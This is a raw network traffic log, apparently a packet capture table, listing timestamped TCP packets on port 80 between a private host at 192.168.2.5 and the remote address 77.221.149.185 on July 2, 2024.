Jul 2, 2024 22:52:27.180468082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180609941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180619955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180629969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180640936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180650949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180658102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180660963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180670977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180701971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180866003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180959940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180970907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180982113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180998087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181005955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181009054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181020021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181025028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181042910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181180000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181190968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181227922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181271076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181282043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181293011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181309938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181313038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181320906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181329966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181332111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181358099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181493044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181540012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.181575060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181586981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.181619883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.182020903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182032108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182043076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182054996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182065010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182068110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.182106018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.182610035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182653904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.182662010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182673931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182713985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.182776928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182789087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182801008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182812929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.182820082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.182863951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.183022022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183032036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183042049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183053970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183072090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.183098078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.183156967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183186054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183197021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183207989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.183227062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.183254004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.184537888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184549093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184561968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184581995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.184745073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184756994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184798956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.184876919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184889078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184900045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.184916019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.184943914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185003042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185014009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185024977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185048103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185081959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185094118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185128927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185214996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185228109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185262918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185348988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185360909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185394049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185461044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185472012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185486078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185497046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185507059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185508966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185518980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.185522079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.185553074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.205120087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205202103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.205219030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205228090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205259085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205269098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.205269098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205279112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205288887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.205301046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.205327034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.205473900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.257735968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.267354012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267366886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267395973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267406940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267416000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267426014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267436028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.267437935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267462015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.267497063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.267573118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.267612934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.268368006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268613100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268625021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268682003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.268740892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268783092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.268827915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268838882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268881083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.268923998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268934011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268943071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.268978119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269052982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269062042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269072056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269082069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269088984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269109964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269202948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269213915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269223928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269232035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269252062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269279957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269390106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269399881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269409895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269419909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269429922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269438028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269439936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269457102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269474983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269586086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269594908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269604921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269633055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269649982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269803047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269825935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269834995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269843102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269859076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269869089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269870043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269879103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269887924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269897938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269903898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269908905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.269917011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.269957066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270104885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270142078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270153046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270188093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270263910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270272970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270282984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270307064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270313025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270323038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270328045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270337105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270345926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270355940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270365953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270374060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270375967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270387888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270396948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270404100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270438910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270864964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270874023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270883083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270890951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270900965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270910978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270911932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270920038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270930052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270932913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270940065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270951033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270961046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.270967007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.270983934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.271003962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.271220922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271266937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271275997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271307945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.271405935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271416903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271426916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271439075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.271451950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.271470070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272067070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272077084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272085905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272109032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272121906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272221088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272231102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272241116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272250891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272265911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272294998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272315979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272325039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272361040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272505999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272516966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272552013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272614956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272629023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272638083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272648096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.272661924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.272680044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274303913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274342060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274350882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274384975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274512053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274521112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274530888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274540901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274549961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274559021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274578094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274590015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274719000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274800062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274810076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274838924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274843931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274884939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.274939060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274947882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274957895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274972916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.274987936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.275015116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.275213003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275283098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275324106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.275666952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275677919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275688887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275707960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.275760889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275769949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275779009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.275805950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.275830984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.294226885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294241905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294253111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294333935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.294464111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294473886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294483900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294492960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.294517040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.294547081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356290102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356312990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356324911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356334925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356344938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356355906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356360912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356393099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356405020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356487036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356530905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356556892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356566906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356571913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356576920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356586933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356602907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356627941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356728077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356744051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356770039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356780052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356842995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356885910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.356955051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356965065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356973886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356983900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.356998920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.357026100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.357074976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.357086897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.357099056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.357121944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.357846022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.357891083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.357939959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.357949972 CEST	80	49712	77.221.149.185	192.168.2.5
